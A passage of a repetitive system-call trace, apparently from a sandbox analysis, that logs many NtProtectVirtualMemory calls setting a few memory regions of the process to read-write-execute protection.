| out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.157] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.172] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.209] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.220] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.254] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.322] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.333] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.353] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.391] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.407] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.447] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.472] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.487] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.527] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.617] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.768] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.852] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.906] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.931] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.003] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.061] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.117] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.161] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.316] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.346] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.370] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.410] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.440] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.470] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.488] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.562] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.572] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.653] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.664] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.703] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.740] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, 